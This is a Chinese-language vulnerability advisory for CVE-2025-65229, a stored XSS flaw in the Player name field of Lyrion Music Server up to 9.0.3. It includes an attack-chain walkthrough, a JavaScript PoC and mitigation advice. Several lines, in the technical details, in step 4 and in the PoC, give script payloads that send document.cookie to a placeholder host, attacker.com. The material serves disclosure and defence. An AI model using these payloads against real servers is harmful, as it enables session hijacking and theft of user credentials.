IPBUF安全漏洞报告
English
CVE-2025-65229 CVSS 4.6 中危

CVE-2025-65229: Lyrion Music Server存储型XSS漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-65229
漏洞类型
存储型XSS
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Lyrion Music Server

相关标签

存储型XSSCVE-2025-65229Lyrion Music ServerLogitech Media ServerWeb应用安全跨站脚本会话劫持认证用户漏洞

漏洞概述

CVE-2025-65229是Lyrion Music Server(formerly Logitech Media Server)9.0.3及之前版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Web界面的播放器设置功能中,经过身份认证的低权限用户可以访问Settings Player功能,在Player name字段中注入任意HTML或JavaScript代码。由于服务器在存储该值时未进行充分的输入验证,且在后续的Information(Player Info)标签页中渲染该值时缺少适当的输出编码,导致注入的恶意脚本被浏览器作为合法代码执行。此漏洞属于存储型XSS,与反射型XSS不同,恶意脚本被永久存储在服务器端,所有访问该页面的用户都会受到攻击。攻击者可以利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或传播恶意软件。由于需要认证才能利用,且需要用户交互(访问特定页面),因此CVSS评分相对较低,但仍对应用程序的整体安全性构成威胁。建议受影响的用户尽快升级到最新版本以修复此漏洞。

技术细节

该存储型XSS漏洞的利用过程相对简单直接。首先,攻击者需要拥有一个有效的Lyrion Music Server账户并完成登录认证。登录后,攻击者导航至Settings Player功能模块。在Player name输入字段中,攻击者可以输入任意包含恶意JavaScript代码的字符串,例如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于应用程序未对输入内容进行严格的HTML标签过滤和验证,恶意代码被直接存储到服务器数据库中。当其他用户访问Information(Player Info)标签页时,服务器从数据库中检索该Player name值并直接嵌入到返回的HTML页面中。由于缺少输出编码(如HTML实体编码),浏览器会将注入的<script>标签作为有效脚本执行,从而触发恶意代码。攻击者可利用此漏洞执行各种客户端攻击,包括但不限于:会话劫持(窃取用户Cookie)、键盘记录、页面篡改、钓鱼弹窗等。该漏洞的根因在于应用程序在数据处理流程中缺少两处关键的安全控制:输入阶段的严格验证和白名单过滤,以及输出阶段的上下文相关编码。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标Lyrion Music Server版本,确认版本号小于等于9.0.3
STEP 2
步骤2:账户获取
攻击者获取目标系统的有效用户账户(低权限账户即可),或通过其他途径获取认证凭据
STEP 3
步骤3:访问设置页面
使用有效凭据登录Web界面,导航至Settings Player功能模块
STEP 4
步骤4:注入恶意代码
在Player name输入字段中注入包含恶意JavaScript的payload,如<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
STEP 5
步骤5:保存配置
提交表单将恶意代码保存到服务器,服务器未进行输入验证直接存储到数据库
STEP 6
步骤6:等待触发
等待其他用户访问Information(Player Info)标签页,服务器从数据库读取Player name值并渲染到HTML页面
STEP 7
步骤7:脚本执行
由于缺少输出编码,浏览器将注入的<script>标签作为合法脚本执行,恶意代码在受害者浏览器上下文中运行
STEP 8
步骤8:数据窃取/会话劫持
恶意脚本执行后,可窃取用户Cookie、会话令牌或其他敏感信息,攻击者利用窃取的凭据进行后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-65229 PoC - Stored XSS in Lyrion Music Server // Target: Lyrion Music Server <= 9.0.3 // Attack Vector: Inject JavaScript via Player Name field // Step 1: Login to Lyrion Music Server web interface const loginEndpoint = 'http://target:9000/jsonrpc.js'; const loginPayload = { "id": 1, "method": "slim.request", "params": ["-1", ["login", "username", "password"]] }; // Step 2: Inject XSS payload into Player Name field const xssPayload = '<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>'; const setPlayerNameEndpoint = 'http://target:9000/jsonrpc.js'; const setPlayerNamePayload = { "id": 2, "method": "slim.request", "params": ["-1", ["playerpref", "playerName", xssPayload]] }; // Step 3: Victim visits Information (Player Info) tab // The XSS payload will be rendered without proper encoding // causing the script to execute in the victim's browser context // Simple HTML PoC for manual testing: const htmlPoc = ` <html> <body> <h1>Lyrion Music Server Stored XSS PoC</h1> <form action="http://target:9000/settings/index.html" method="POST"> <input type="hidden" name="playerName" value='<script>alert("XSS")</script>'> <input type="submit" value="Exploit"> </form> </body> </html> `;

影响范围

Lyrion Music Server <= 9.0.3
Logitech Media Server <= 9.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制Settings Player功能的访问权限,仅允许受信任的管理员用户访问;2)在Web服务器层面部署WAF规则,检测和阻止包含<script>标签或其他XSS特征的请求;3)提醒用户不要点击来源不明的链接,定期清理浏览器Cookie和缓存;4)启用SameSite Cookie属性以缓解会话劫持风险;5)监控日志中的异常请求模式。但这些措施仅为临时解决方案,无法从根本上修复漏洞,建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表